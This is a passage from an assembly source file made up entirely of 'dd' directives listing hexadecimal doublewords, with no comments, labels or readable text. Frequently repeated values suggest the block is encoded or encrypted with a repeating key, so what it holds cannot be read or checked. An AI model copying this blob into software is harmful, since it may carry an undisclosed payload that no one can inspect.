0CD97A31Ch, 2448D9AFh dd 2BEFD1FDh, 19EE4B6Dh, 75662232h, 622AAF54h, 0F7F878B3h dd 46072555h, 1566265Ah, 0CB674A32h, 0E09AE869h, 0A4D3CD53h dd 1A608A28h, 156631B7h, 58DCE832h, 0FD67627Fh, 15662221h dd 0CD43540h, 272BA28Fh, 4FF35D68h, 21B06630h, 4B0A3F4Eh dd 50FB0353h, 7560EC2Dh, 0FCBFF8B2h, 15661123h, 0E32A5F67h dd 544E8A8Dh, 0B1DF6F89h, 546A8010h, 2699E905h, 2C4FF967h dd 796754A0h, 4C3B1516h, 2C4F61B3h, 926932A0h, 1566223Ah dd 0E3E77752h, 749AD319h, 74062452h, 156625DBh, 0A1710232h dd 0CB88F0ECh, 16E64B53h, 73662232h, 4507C9B9h, 0D542A4B3h dd 9E6CED36h, 0D1E50626h, 0D5A49036h, 756C2136h, 1560C23Dh dd 93692232h, 15661132h, 4EB60363h, 75062453h, 0CFED43CBh dd 39E74353h, 3333F816h, 3162CF72h, 1062E6B1h, 55404442h dd 0ECE3A3CAh, 1A60EC13h, 156623B8h, 0F5A7E832h, 9D69E830h dd 15664430h, 15DF7962h, 74041BD9h, 156682DBh, 0EB188832h dd 0C5D883BCh, 16D394B2h, 0BD6FB1B7h, 156AAD34h, 0CD272232h dd 0D72D0CACh, 1F399472h, 4336B391h, 964226B9h, 1A3815F6h dd 156683B2h, 1560AD32h, 53E22232h, 0E52657B1h, 15636052h dd 0CF4D4432h, 94676C45h, 51724FEDh, 0FC34D315h, 15664437h dd 7BC64C12h, 0B8074F12h, 1567023Dh, 38934432h, 24AF7963h dd 9B3F231Fh, 10AE8945h, 62E81D00h, 0DC3D7337h, 0AA697103h dd 156C61E1h, 74D74432h, 1E2645A4h, 0F794666Ch, 51EF7053h dd 94695816h, 15662233h, 996970CAh, 15668833h, 1647ADCAh dd 0FD062232h, 15661123h, 0C9842BF5h, 3663AD09h, 937ADBD8h dd 0F5454AC0h, 4C07E807h, 18F2453h, 5E662232h, 6740B736h dd 9D5F903Eh, 9966EE5Bh, 5F91BD62h, 742ADDD1h, 94870163h dd 156640F3h, 118FA132h, 49421DB5h, 1A4284BBh, 156645B8h dd 9C30DA32h, 11A090D4h, 94668832h, 156640DCh, 3152A532h dd 3172986Eh, 1563073Dh, 47064432h, 2407DB6Dh, 4F3571FBh dd 4CB20264h, 88F3CF53h, 1A608A2Ch, 156617B2h, 0EBEDE832h dd 2E0782B9h, 0DBE22D30h, 0FC661132h, 15668820h, 2738480Ah dd 0C819E87Fh, 50CED11Eh, 0AB33B5F6h, 188FF50Eh, 9D662232h dd 0D57741CCh, 923203D5h, 3F088E80h, 15629D65h, 0EF671132h dd 9642B4B9h, 1F8F40F6h, 4B662232h, 520D75EBh, 32D69F8h dd 14D91379h, 14662232h, 2E9E4ECBh, 0BD6DC9BFh, 89E34B34h dd 0FC99DDCDh, 15661139h, 850F96D8h, 0B6C34748h, 424ADF4Ah dd 1566118Dh, 9E9E0132h, 0D1E7600Eh, 15662236h, 0CEE77152h dd 24C2DB33h, 74A6F33Dh, 156631DBh, 45B53632h, 0CC1889EEh dd 994195F6h, 0B478107Bh, 735AD4DCh, 0BAEB0553h, 1A60EC7Dh dd 15662CB8h, 156FF832h, 7FA38832h, 0B4F7356Eh, 0EA931B6Dh dd 1FE21ED3h, 75668832h, 0DBE78AB9h, 281F7D8Eh, 68EB9853h dd 7560203Ch, 6BC6FE54h, 156625DAh, 4702AB32h, 7E1F2ACDh dd 15664EDAh, 7E286332h, 0BF878AA3h, 4C27D3FAh, 1ED256Ch dd 0F2EF7516h, 1562D6B3h, 0D2E78832h, 15664436h, 49421EB5h dd 316A9ACEh, 94830167h, 156640F7h, 11A3A332h, 92661132h dd 0FC3AAC1Eh, 15664420h, 7C9C8340h, 200C25A6h, 0CF163DBAh dd 0C92441BCh, 9C3360A9h, 11A390D7h, 94668832h, 156640DFh dd 314AA532h, 3152986Eh, 1568053Dh, 0EC064432h, 156627DAh dd 79917032h, 743C69B8h, 0A23D9B9h, 1F8F249Ah, 0CD661132h dd 2900EB20h, 327745ABh, 9455DD7Eh, 754351Eh, 423FC985h dd 0A274768Dh, 4A9F2373h, 15619B3Dh, 93698832h, 15664433h dd 68E3A9C7h, 0ED60B93Ch, 946968E3h, 1566443Ah, 1564A23Dh dd 74061132h, 0A9B0D31h, 128F429Ah, 0ED662232h, 0E140C1C6h dd 0E3574944h, 1DED4BCBh, 75662232h, 1566933Dh, 45078832h dd 21ED1C64h, 11A2A116h, 15679B3Dh, 739E8832h, 1576AD9Fh dd 9A852232h, 0A3DB1C34h, 4DA82775h, 0CD03300h, 0F5A703CBh dd 14EA1E30h, 0E0668832h, 1C5FC131h, 18F249Ah, 1661132h dd 4C74B672h, 0ADD53F84h, 24C224F6h, 36557373h, 457CF54Ah dd 3162CF64h, 4B62E6B1h, 0FCA49A52h, 1566883Fh, 0FB6F3F26h dd 0D55CCEAFh, 0CC5D7D84h, 0FCCBE92Dh, 15664420h, 467E7473h dd 0E94400B0h, 55C1B6FDh, 0A1BE8379h, 4D4B126Bh, 147E0A6Ch dd 4DDFD9FAh, 147E5F6Ch, 198F7BFAh, 71661132h, 61FB4ECBh dd 615CCCE6h, 0EAB97F69h, 94383506h, 15668CF6h, 0FCD12432h dd 9607C387h, 0BD6CA08Fh, 91698934h, 156644FCh, 743F7552h dd 249F9C09h, 91698E9Ah, 1566448Ch, 38EB19C7h, 1A60B93Fh dd 156639B6h, 14E34B32h, 0EC662232h, 15661ADBh, 5502A832h dd 1195C45Ch, 3D9DADBCh, 13FB9C09h, 91698E9Ah, 156644BCh dd 11FBAFCBh, 7560BEEDh, 156680DBh, 0B86AF932h, 8860BD6Bh dd 0C6997006h, 0DEA87CEh, 1A664432h, 156630BFh, 156BF832h dd 2CA58832h, 11886E3h, 8C47C763h, 45AC4C4Eh, 4D313567h dd 794F7C02h, 4A3B2616h, 4D31D6B3h, 9506B002h, 730693D4h dd 8D40C3B3h, 9640E48Ah, 9C07E922h, 0BD6489B7h, 1577CB34h dd 131A1132h, 94118B1Eh, 0D7DE15A3h, 471C2BADh, 0FCA33B17h dd 156696C6h, 156AC43Dh, 98692232h, 15661134h, 15660F3Dh dd 88EB4432h, 13C9FD36h, 156E903Dh, 1A068832h, 156644B7h dd 0C6994332h, 1577F952h dd 61928832h, 9D96359Fh, 0BD7AB954h, 5D7A2A73h, 1A43F2C8h dd 156644B5h, 0AA007D32h, 1A0714DDh, 156689B1h, 0A8E5B132h dd 13CE2883h, 47E21E32h, 0E0668832h, 44E37FCAh, 1A608A3Eh dd 15660DB6h, 905D7132h, 13CE4967h, 1551A73Dh, 1A061132h dd 156688B8h, 94001432h, 4CD37EE3h, 0EB91F853h, 1D8F77CDh dd 2C664432h, 16B9AF83h, 0FC79D30Ah, 15668823h, 91EC6536h dd 0D9643083h, 93E5174Fh, 155CA4DDh, 4E37FCEh, 1A608A32h dd 156699B7h, 12E38732h, 75664432h, 4204D2B2h, 0A8E5706Ah dd 13CEBBAFh, 21E24B32h, 75662232h, 15661ADBh, 0B14E3332h dd 0B5C83F11h, 6D909D9Ch, 749FA63Dh, 23735B1h, 1A66429Ah dd 15666EB6h, 19E01E32h, 0FC668832h, 15664435h, 0D0DA9B47h dd 98E52CA0h, 0BA3123B7h, 1577AD34h, 0FF3B2232h, 0E40E1CA1h dd 4A685A25h, 5A2ABA7Eh, 0FC49BA62h, 0EA99EF6Bh, 15686152h dd 484D4432h, 0CF781FDDh, 0B719B8DEh, 2D042CCBh, 0DF1BFD54h dd 4E31953h, 1A60B932h, 0EA98BCB6h, 68F24CDh, 25662232h dd 4702ABA0h, 7E1F2ACDh, 0AEED0848h, 0A70C592Dh, 749E831Dh dd 95CA35B1h, 1A67429Dh, 156660B7h, 0A206E832h, 905DE954h dd 13C9C4D2h, 1557A73Dh, 48F1132h, 29668832h, 9DBCB62Dh dd 0E4991542h, 15644Eh, 9740BE59h, 1E82C1BFh, 0FC9F226Bh dd 0EA99EF3Dh, 1DE087CEh, 1A664432h, 156620B9h, 24077132h dd 156961CDh, 0C10E4432h, 8BE8C7EEh, 63A158C9h, 0BC5A9EB0h dd 0E8DBC71Dh, 15608A29h, 57F953Dh, 1C8F8832h, 1E664432h dd 6B654750h, 0B0013059h, 95AA0D09h, 9069429Dh, 15662273h dd 1572933Dh, 0A4068832h, 156DADB6h, 0EC362232h, 0A1898F68h dd 0B4FB4A4h, 90ED25DCh, 13CE16F3h, 0A269ED52h, 429FE9C8h dd 0EA4268B3h, 4A99DDCDh, 1FE11ECEh, 75668832h, 97691F61h dd 15662232h, 0C1E32A53h, 1A6027B2h, 156601B7h, 90EDDE32h dd 13CE1DFFh, 15686052h, 0F6C64432h, 0CB1C6F50h, 57267994h dd 7FEC6F3Bh, 753E2552h, 749EA954h, 0EADB4453h, 3C9977CDh dd 9B6919DDh, 15662220h, 15661CDBh, 0FE9C3332h, 0A56910E1h dd 56B4A80Dh, 905DA9A8h, 13C908E2h, 1529C13Dh, 68F2232h dd 74661132h, 77DEF9D7h, 0AA5EF276h, 0C4C2322h, 959BD5B7h dd 90ED8D9Ah, 13CE50FFh, 119975CBh, 315A9A16h, 1A624CB1h dd 156645B6h, 9C69DA32h, 1566112Bh, 15669CDBh, 198FE432h dd 9EE2B60Bh, 0A21CCDA1h, 43B08E64h, 0B7E8A525h, 0CDE31940h dd 1A60BEB2h, 1566ABB7h, 90EDBC32h, 13CE3423h, 156A913Dh dd 9E698832h, 15664434h, 1566A33Dh, 0DAE11132h, 24A9B973h dd 0EDA975CBh, 95BAA709h, 9069179Dh, 1566880Ah, 1567C63Dh dd 759F2232h, 18B69054h, 9E07719Ah, 0BD4FC5B7h, 6E32D34h dd 75661132h, 156683DAh, 0EF282A32h, 0EEA49E32h, 0F8B986AFh dd 0AD36E96Ch, 0EA99BBCDh, 0E03EE51Bh, 95869409h, 90698E9Dh dd 15664408h, 0A4E3A9CBh, 0FC60B92Bh, 15668826h, 0F0E95C60h dd 0D39D7F6Dh, 6315510Dh, 0E22744F4h, 7B02D27Eh, 228B9961h dd 0E6E75857h, 0A3FC4020h, 753D9B1Bh, 6C91A354h, 8DD97763h dd 905DE9BAh, 13C9C4D6h, 155CA73Dh, 1C8F1132h, 7D668832h dd 4C06441Ch, 0E7D47DE6h, 305794B9h, 9E698E9Ah, 15664434h dd 75ACA952h, 0AC377053h, 0EA9977CDh, 1A3F8B1Bh, 156629B9h dd 14D87132h, 7358EC3Eh, 74E40489h, 958EA709h, 9069179Dh dd 1566887Bh, 156642DBh, 5B523A32h, 9E2AA7D2h, 0BD61E9B7h dd 11E34B34h, 75662232h, 1A077052h, 156689BCh, 0AF34B132h dd 15662233h, 1A3CC633h, 156690BFh, 7E14B32h, 0FC662232h dd 1566113Fh, 3930B5C5h, 89706641h, 902871B6h, 0F9E32A41h dd 1A6027B2h, 156614B7h, 1DEA2D32h, 1A661132h, 15668ABAh dd 9E072432h, 0BD649FB7h, 739F7134h, 470758B9h, 15664588h dd 4FB12332h, 0D7ED4652h, 0E4EDD968h, 9669256Ah, 1566222Fh dd 1575F852h, 0AB48832h, 6C3372FAh, 382F53F6h, 0B86553F0h dd 0C2B3FD24h, 0C5A0C4FEh, 0E5E31953h, 1A60BEB2h, 156690B7h dd 90EDBC32h, 13CE3227h, 0AADB44C7h, 947F3C1Eh, 0A14AFADFh dd 4889232Bh, 0EDE32ACBh, 1A6027B2h, 156600B7h, 90EDDB32h dd 13CE16DBh, 156680DBh, 2ED90D32h, 84013F90h, 14D8476Dh dd 14668832h, 48F1AC5h, 13662232h, 0DF097A5Eh, 0A11F6D2Bh dd 97865EBAh, 0B0D6D762h, 15661DDBh, 5595F432h, 7BF3F115h dd 0C691CCB1h, 0E1E32A12h, 1A6027B2h, 156600B7h, 969FDE32h dd 0BD66488Fh, 90698834h, 15664407h, 156EAD3Dh, 9D691132h dd 15668830h, 90ED2552h, 13CE2CBBh, 0E3E67152h, 744E3AFDh dd 7491FB3Dh, 15679860h, 0C2671132h, 13E38768h, 75664432h dd 0C08D9854h, 44DB9253h, 15602039h, 1531C03Dh, 1B8F2232h dd 0CE661132h, 20B63123h, 1F124F34h, 0DB70F618h, 95E32A53h dd 1A6027B3h, 15667CB7h, 0CCD74232h, 15661DDAh, 2C7AD232h dd 3377DAB6h, 5B88CA89h, 4B077148h, 0F4E30353h, 0FC60EC33h dd 15662239h, 2AD2571Dh, 0DA048D5Ch, 247A0976h, 249F13FDh dd 0DAE150FDh, 1CDB0BCBh, 1560EC35h, 175CA63Dh, 969E1132h dd 0BD7CCD8Fh, 91694434h, 1566201Eh, 15661BDBh, 6A8A7832h dd 382726BDh, 2EF0CB38h, 0BAE775B7h, 3BE38734h, 0E9664432h dd 8E7A7B9h, 9669179Ah, 15668833h, 0EADF15C7h, 3C99DDCDh dd 0FC0648FDh, 1566883Fh, 4F4C5C35h, 4BFB2213h, 6E76A8E3h dd 74BE0337h, 61E37FCAh, 1A608DB3h, 15664BB7h, 9369E832h dd 15664430h, 0A4064352h, 51D2AE81h, 7407BEBCh, 1561C53Dh dd 0A6062232h, 0D6ED77B4h, 0E30353h, 1A60EC2Dh, 15662ABDh dd 17EF1E32h, 75668832h, 0EAD81253h, 3C99DDCDh, 48F4FC5h dd 0E9668832h, 26ACED03h, 0A63652B9h, 53840CCDh, 95BCF2F3h dd 1567C23Dh, 2E9E2232h, 0BAE779B7h, 56E38734h, 0FC664432h dd 15662226h, 7C3F3E2Dh, 5C53BD7Bh, 0DD8562FBh, 0D2FC8228h dd 990F1303h, 0A330DB9h, 9269429Ah, 15662237h, 8BB9152h dd 0EADCDA53h, 3C99BBCDh, 1E8F78E5h, 0A6661132h, 0FDC85B97h dd 489B5F59h, 905DB473h, 13C9904Ah, 153B0D3Dh, 48F4432h dd 53662232h, 816ADF29h, 7FDF13FBh, 594445EAh, 3E53461h dd 156617DBh, 806A0D32h, 9EFBBA4Dh, 0BD56F3B7h, 1DEB1E34h dd 75668832h, 3AC4918Ah, 4307DB12h, 904E198Ch, 0DE880937h dd 9473A312h, 0EB6464DCh, 0E4889044h, 940D133Ch, 119043C4h dd 4B91233Fh, 15679E3Dh, 2E9A8832h, 0BAE738B7h, 3EE32D34h dd 0FC661132h, 1566883Bh, 0EED1E5h, 3E09D000h, 0D0E39A89h dd 75602001h, 0ECB69EB3h, 80DE7474h, 74510638h, 0EA993567h dd 0FA4FBBCDh, 905DDE6Fh, 13C9905Eh, 155D0D3Dh, 75064432h dd 156629DBh, 95778132h, 0A831F24Eh, 0DB5CBE3Ah, 1A077D62h dd 156611B3h, 90EDE932h, 13CE4407h, 156628DBh, 64CE3D32h dd 0A9B8D857h, 408375B2h, 1566238Fh, 48891032h, 65E3B3CAh dd 1A60EBB3h, 156619B7h, 156CF832h, 0B6778832h, 0A8C19576h dd 2CFC08EAh, 3BB394B9h, 48F8E9Ah, 53664432h, 0D01B27B9h dd 74C9D13Bh, 919C8296h, 4C419093h, 0EA999A62h, 0D24FEECDh dd 14ED876Ah, 0E0664432h, 0F239FB1h, 1A66179Ah, 156F6EB6h dd 905DB132h, 13C9A2CEh, 1558943Dh, 9A698832h, 15664439h dd 156624DBh, 82FAE632h dd 9EADC3D6h, 0BD72C1B7h, 2E42D34h, 0FC661132h, 15668820h dd 43FAEC03h, 0A93B847Fh, 79D4B83Bh, 0F52B4845h, 0AF344C8Dh dd 0EA99DDCDh, 0E93CC61Bh, 94F60D09h, 9069429Dh, 15662257h dd 1572F852h, 0CA188832h, 0B8A76738h, 0B13EE2CEh, 29E1FF61h dd 43DF271Ah, 9E078FB2h, 0BD55FBB7h, 98697134h, 15668831h dd 1A9CCF54h, 156634BCh, 1577F832h, 0D7FD8832h, 52B2C542h dd 53E7509Fh, 70B70314h, 74C754C2h, 50F0FD63h, 0D42F0678h dd 0E4E712DBh, 0EE103F7Fh, 753F8B1Bh, 1810F9B3h, 0E7ED02FEh dd 15E3B353h, 1A60EBB3h, 156606B7h, 1568F832h, 83FC8832h dd 1AB71878h, 0F7F198C5h, 0B8C692FAh, 176B0DB9h, 469A429Ah dd 15662389h, 4EB91032h, 11E3B3CBh, 1A60EBB3h, 15666EB7h dd 14E61E32h, 0EC668832h, 23FC1B9h, 9C69249Ah, 15661133h dd 8D8DECEh, 53434B29h, 9465C4F3h, 6D4CF3D4h, 0C880967h dd 9467C633h, 0E361E4DCh, 4B9110CCh, 15669CDBh, 5825FF32h dd 1BFE5B83h, 4C96B9D7h, 1293D9F6h, 0F330932Dh, 1DE3194Dh dd 1A60BEB3h, 1566B9B7h, 90EDB832h, 13CE0407h, 10E61E52h dd 73668832h, 0F4478DB3h, 0AD3643CEh, 15661133h, 0FC3E4F33h dd 1566443Fh, 0A9C1B832h, 13C81809h, 0DC33CECCh, 905DBC48h dd 13C9A33Eh, 1517943Dh, 47068832h, 0FBFAFE54h, 13EB2D6Ch dd 1A661132h, 156688B1h, 0A8E52532h, 13CE226Bh, 45E31E32h dd 75668832h, 1565C13Dh, 9E002232h, 1577F8C8h, 955C8832h dd 2A1D36FDh, 0C054149Dh, 0E6BACB9Ch, 7475E312h, 0E27C1B9h dd 0FC06249Ah, 15661123h, 53E9ABEAh, 5A0E8FA6h, 0ACC66DAEh dd 39CD3543h, 44077444h, 0B722398Bh, 9797A337h, 3C9C4C89h dd 2E93D1FDh, 0BAE754B7h, 33E32D34h, 75661132h, 860978B3h dd 749E5321h, 1E6FA7B9h, 439A179Ah, 0EA99778Ch, 4B916DCDh dd 15662ADBh, 2CA5032h, 7A6E30D5h, 1E37F33h, 1A608DB3h dd 15666EB7h, 1FE28732h, 75664432h, 0AEB5953Dh, 5B5DE875h dd 4CDB0B53h, 1560EC32h, 1504A73Dh, 9E931132h, 0BD4CD5B7h dd 1AEE4B34h, 0FC662232h, 15661138h, 0C548309Fh, 607446E2h dd 1A06749Bh, 156612BDh, 0C4D98732h, 294596B3h, 46075425h dd 15661089h, 4EB98932h, 16E74B52h, 1A662232h, 0AF00DE8Dh dd 1A075258h, 156653BEh, 4EE2D32h, 0FC661132h, 1566883Eh dd 7C7F0258h, 0C7EEFE3Bh, 0C3FC08FBh, 947E0D09h, 9069429Dh dd 15662203h, 0C4E39ACAh, 75602006h, 4BA7CF65h, 74A69D3Dh dd 1A01A863h, 0FCE78A37h, 17634B54h, 1A3FED33h, 15661DB8h dd 13E88732h, 1A664432h, 156622B9h, 9E32A32h, 1A6027B3h dd 156620B7h, 0EE62D32h, 75661132h, 15669CDBh, 5304F632h dd 8E5C8B73h, 50F3E3C2h, 21AB3DDDh, 5FDE4DDFh, 90ED439Ch dd 13CE3B93h, 156680DBh, 92FF5E32h, 0CEC30913h, 14DF400Fh dd 14668832h, 0AC061DFDh, 5EFF8C5Bh, 7495AE3Dh, 15EB8752h dd 0FD664432h, 15662239h, 449E34AAh, 622C5BF3h, 73F02A8Ch dd 4E202889h, 31E32A53h, 1A6027B3h, 15661EB7h, 0CEC2D32h dd 1A661132h, 15669BB1h, 1568AD32h, 0EE862232h, 0C8071749h dd 71CEA1DCh, 0E5E1767Ah, 153F9FB1h, 1A66179Ah, 1566A6B7h dd 4E74B32h, 0FC662232h, 1566113Eh, 5B62BB6Fh, 39E4A082h dd 779BECDh, 344394B9h, 73068E9Ah, 74747F8Ah, 3162DD65h dd 96422DB9h, 2E9A8CF6h, 0BAE764B7h, 65E32D34h, 0FC661132h dd 1566883Dh, 95750173h, 0D9BFD4DCh, 0E7FE8C70h, 96C6AABFh dd 0BD661D8Fh, 90692234h, 1566117Dh, 0DBEDEE52h, 156CAD61h dd 29AE2232h, 0B8C9AD29h, 74A2E138h, 0EC06256Dh, 156628DAh dd 1648AC32h, 2C16224Bh, 4E9C04C2h, 88E3A953h, 0FC60B929h dd 1566883Bh, 19007705h, 0C5C6129Eh, 24B92000h, 56B9B9C9h dd 0AE069BB5h, 346596CCh, 2E9E70C7h, 0BAE7A0B7h, 51E34B34h dd 0FC662232h, 1566113Dh, 8088F911h, 0DF0DAD7Bh, 5A2ED59Fh dd 9EAF2A4Eh, 0BD4C45B7h, 1577AD34h, 241D2232h, 0C056B65Ch dd 6B48B696h, 94C71FDAh, 0ECA6D3A9h, 1567A863h, 0DA678832h dd 1563AD6Bh, 0C8E92232h, 2E9D988Eh, 0BAE7A4B7h, 57E34B34h dd 0FC662232h, 15661122h, 6A828324h, 69A51945h, 5561E1Dh dd 43A60B5Ah, 398B0DB9h, 18F429Ah, 42662232h, 8595DDAAh dd 0D4665D36h, 0C0783ADEh, 432FFA10h, 4653B9E2h, 0EA997789h dd 4EB96DCDh, 98B0A252h, 25E32A53h, 1A6027B3h, 156668B7h dd 19EB2D32h, 0FC661132h, 15668835h, 0FCBB2EBEh, 9E24A795h dd 0BD71D8B7h, 0AE357134h, 15664433h, 0FC3DFD33h, 15661137h dd 8410CC90h, 21E37F4Ah, 1A608DB3h, 156660B7h, 1DEA8732h dd 75664432h, 1AB9CBB2h, 0FC07C085h, 1566883Ah, 7F63E2B7h dd 92B04B2Eh, 1B394B9h, 188F8E9Ah, 49664432h, 1C53D75Dh dd 784634E2h, 1C1E87BEh, 3069FE60h, 572C3EC8h, 1290DBB3h dd 0CF918C4Ch, 78638EB3h, 0D7E722BAh, 91013C8h, 1A3C5F1Bh dd 15665DBFh, 1572CB32h, 257F1132h, 0A7B18325h, 566ED8C8h dd 0A56E61BAh, 738C5F6Ch, 905D99A7h, 13C9C50Ah, 1549A73Dh dd 9E931132h, 0BD6FFDB7h, 4331BC34h, 92207C6Dh, 986971C5h dd 15668832h, 156654DAh, 0C512832h, 0FA05C07Ah, 0DDD01C11h dd 0BDFC5725h, 4F3F748Dh, 29E32A53h, 1A6027B3h, 15666FB7h dd 90EDDE32h, 13CE35DBh, 15668DDBh, 0A5BB7F32h, 4331746Fh dd 92204F6Dh, 156861C5h, 4E024432h, 2BD334DFh, 0C3EB6F7Fh dd 621BA7F1h, 9426C109h, 9069249Dh, 1566110Dh, 156683DBh dd 15EB9C32h, 90208C7Bh, 0A52B0109h, 13270DB9h, 0FD06429Ah dd 15662237h, 0A52DEAA2h, 4E07E809h, 64E8EB3h, 42071692h dd 9E4215CDh, 0D1E5AC0Eh, 94002436h, 958E03FBh, 2E0771C1h dd 0BAE7CCB7h, 3EE34B34h, 0FC662232h, 15661135h, 18B742A5h dd 9E2F8AFCh, 0BD553FB7h, 73357134h, 4D3A7689h, 2ADA8CB3h dd 40072312h, 0EA99EE8Fh, 4889A1CDh, 905DB8C7h, 13CE16A3h dd 152A943Dh, 18F8832h, 96664432h, 3A89FD7Bh, 497590DBh dd 4D6F45FAh, 0D5629915h, 9E39A9A2h, 0BD64F8B7h, 156A6134h dd 98084432h, 71641874h, 32B68A68h, 0AC37F177h, 15664433h dd 1A3FED33h, 15661CB8h, 156E6132h, 2F1F4432h, 0ADB47379h dd 905DE8FFh, 13C9097Ah, 152DC13Dh, 9B692232h, 15661134h dd 75950352h, 90ED2553h, 13CE3337h, 15661CDBh, 2F8CA232h dd 1F11A2ECh, 117BA379h, 0AE35B8B2h, 15668833h, 753D9B33h dd 1560A93Dh, 95691132h, 15668832h, 15664FDBh, 82BE2232h dd 0DFFCF402h, 0CEF1F174h, 91E37F53h, 1A608DB3h, 156673B7h dd 156F6132h, 0A4E94432h, 0D03B7B39h, 75A9E41Bh, 54FB9C8Bh dd 0A8E52536h, 13C9A3BEh, 35E31E32h, 1A668832h, 156648B5h dd 13E92D32h, 1A661132h, 156688B5h, 0A4DBC732h, 15608A38h dd 1547953Dh, 9E9F8832h, 0BD5775B7h, 0A833DA34h, 5DD3161h dd 0F8E755C5h, 0FA229B9Eh, 753BCD33h, 0FBE777CEh, 2E07E70Fh dd 0BAE7CCB7h, 6EE32D34h, 75661132h, 156686DAh, 0A1031932h dd 37622526h, 0A2A1D183h, 7536F3AFh, 0D4ED1D53h, 99DBA153h dd 1560BEB3h, 15420D3Dh, 9F694432h, 15662235h, 1567943Dh dd 969A8832h, 0BD6CF58Fh, 91692234h, 15661108h, 15668DDBh dd 0BFEBCE32h, 90ED47FEh, 13CE3787h, 1564053Dh, 74064432h dd 11A99C52h, 749F30BFh dd 0EA993062h, 0D24FBBCDh, 156ECB6Ah, 211C1132h, 4DE6C552h dd 9E06BC56h, 905D43F5h, 13C9907Eh, 152F0D3Dh, 73064432h dd 0B63FFDB3h, 156605DBh, 345DDC32h, 0C5394625h, 0C7E29F09h dd 984B13BFh, 33E46E31h, 0E90625E4h, 90ED43CBh, 13CE1A1Fh dd 14DBDDCAh, 14664432h, 58F7FDDh, 0DB661132h, 4E2541FEh dd 27B97280h, 0D3422476h, 2EA98860h, 0BAE7D8B7h, 5AE34B34h dd 0FC662232h, 15661121h, 0A37A819Bh, 0B77A292h, 7DE35774h dd 0F8CE290Bh, 0FC0EF907h, 15664426h, 807C1597h, 68A86BEFh dd 4F005132h, 507476C7h, 8D946794h, 3B9F94B9h, 0A6068E9Ah dd 0AF34253Fh, 15662233h, 753CC633h, 0F8D260B3h, 0F1E619FEh dd 905D434Eh, 13C99066h, 15240D3Dh, 1D8F4432h, 9C662232h dd 8AD63EF2h, 9E70E825h, 0BD7279B7h, 1576CB34h, 0B9DE1132h dd 0A776B2AEh, 0F953525Fh, 9F5CDCA0h, 0F9E73F7Dh, 15668836h dd 0EA4278BBh, 75390636h, 0CDE35C88h, 0BEA50904h, 74795D03h dd 943EA709h, 9069179Dh, 15668802h, 15664ADBh, 731A0E32h dd 8058DCF5h, 0F0A3A9EBh, 9EDF442Fh, 0BD4A97B7h, 156EF834h dd 635D8832h, 7A3557ACh, 0AF3492D0h, 0EA99EECDh, 0ED3C5F1Bh dd 943AC109h, 9069249Dh, 1566112Dh, 1567093Dh, 9E9F4432h dd 0BD688BB7h, 14EE1E34h, 0E9668832h, 0EA99FC62h, 0D24FDDCDh dd 2E9FE86Ah, 0BAE7E8B7h, 55E34B34h, 0E0662232h, 1E394B9h dd 9F698E9Ah, 1566443Eh, 156625DBh, 78D2AD32h, 59F432EAh dd 62F5FC62h, 5443196Ch, 0E2163966h, 1163C8EAh, 106E6F3Ah dd 23A3530Ah, 0FD432A1Fh, 4DA1893Ch, 1567C73Dh, 1E9F2232h dd 0BE21ECDh, 75668832h, 1566CF3Dh, 91D82232h, 7474E28Bh dd 0EA8B22DBh, 1561ADCDh, 0C1DD2232h, 0C83EBE73h, 0ACE3B3ADh dd 1A60EC01h, 156608B7h, 108F7132h, 0B0668832h, 0FB246B50h dd 1560A63Dh, 93691132h, 15668832h, 0BFE3C953h, 0EC608D28h dd 0EA8B7FDBh, 7531E8CDh, 2E071C53h, 0BD5423B7h, 75E31E34h dd 75668832h, 82F6A5B3h, 0EDED186Dh, 0B9DB9253h, 146027B2h dd 152FC13Dh, 78F2232h, 7B661132h, 46674349h, 52A675C7h dd 0E9F5897Bh, 0D8117EFCh, 1A06E85Ch, 0E2D48A8Dh, 90EB4353h dd 153F1A55h, 0F87F61CAh, 128FBBCDh, 68662232h, 0CD7FC3Eh dd 198F4600h, 0F664432h, 656B2957h, 84BA51B0h, 2E43F8D4h dd 0BAE6F8B7h, 3AE22D34h, 75661132h, 156681DBh, 48A1B232h dd 7E003A21h, 9B692D9Bh, 15668830h, 2E07B4B9h, 0BAE6E2B7h dd 2E31E34h, 1A668832h, 156641B0h, 0EFED4232h, 0A98F70CBh dd 1A9977DEh, 156645B3h, 0F9E5DE32h, 31629836h, 1566888Ah dd 4DA0CD32h, 0EC06DB52h, 1566943Dh, 74078832h, 156642DBh dd 9A1D8032h, 96612C1Ch, 906989CCh, 1566451Dh, 0C3D92D52h dd 156617DAh, 41C90532h, 75193639h, 2E077A53h, 0BAE6A1B7h dd 27E38734h, 0FC664432h, 15662226h, 7118835Eh, 417D1CE4h dd 3CE948A5h, 294C004Dh, 8E3359CFh, 92A20DBFh, 0FC9A446Ah dd 0EA99CE71h, 156619DBh, 15D7132h, 4411972Eh, 0A1E31954h dd 1A60BEB2h, 1566D3B7h, 0BD92432h, 0E93EB430h, 1569F853h dd 29668832h, 0FE7D6D21h, 324BEE60h, 20E85B2Ah, 2FE30566h dd 75661CBAh, 156FCA60h, 0DD231132h, 2093E76Eh, 4D43943Bh dd 156ECB6Ch, 36F1132h, 0F1E7A81Bh, 0FC0790BFh, 0EA99C9D1h dd 156CF852h, 0E7208832h, 0E4A19E29h, 24DA0766h, 7492C1B2h dd 95DE0D09h, 9069429Dh, 15662259h, 6AE39CCEh, 1A66D0BAh dd 156675BFh, 48F4232h, 2661132h, 32542025h, 0CA97E465h dd 0DFBD9EF5h, 50231A0Fh, 15669CDBh, 24C1E132h, 7322B0D0h dd 4AB35CADh, 0C1CCEFFh, 6EC52A47h, 958F431Ch, 7599EED9h dd 156680DBh, 0CC98E732h, 0DCD08576h, 1568F9B7h, 3FC8832h dd 0E2DAC736h, 2FBFBE53h, 0EE2B519h, 0EDBD0954h, 45071B49h dd 944226B9h, 156615F6h, 15756132h, 660A4432h, 0BEBBEED0h dd 0CA2EF695h, 0F7303366h, 8031C623h, 0F9E5DE3Ah, 314A9836h dd 6611D85Ah, 0E223193Eh, 0F83A3EFh, 94728A7Eh, 629170F7h dd 4888CDDDh, 156FAC3Dh, 73061132h, 1AB86088h, 1E078485h dd 2FE32DC4h, 75661132h, 1567093Dh, 9F9F4432h, 0AF8F43CAh dd 1A99EED8h, 156684B3h, 13EE4B32h, 1A662232h, 156611B7h dd 15756132h, 6EEC4432h, 0BE1F40E5h, 42601851h, 0C6C350Bh dd 54709597h, 39E772ABh, 0C14C9316h, 0A833D630h, 70866ECAh dd 151CD7B3h, 0FB677606h, 1EE7876Fh, 0FC664432h, 15662234h dd 4766A158h, 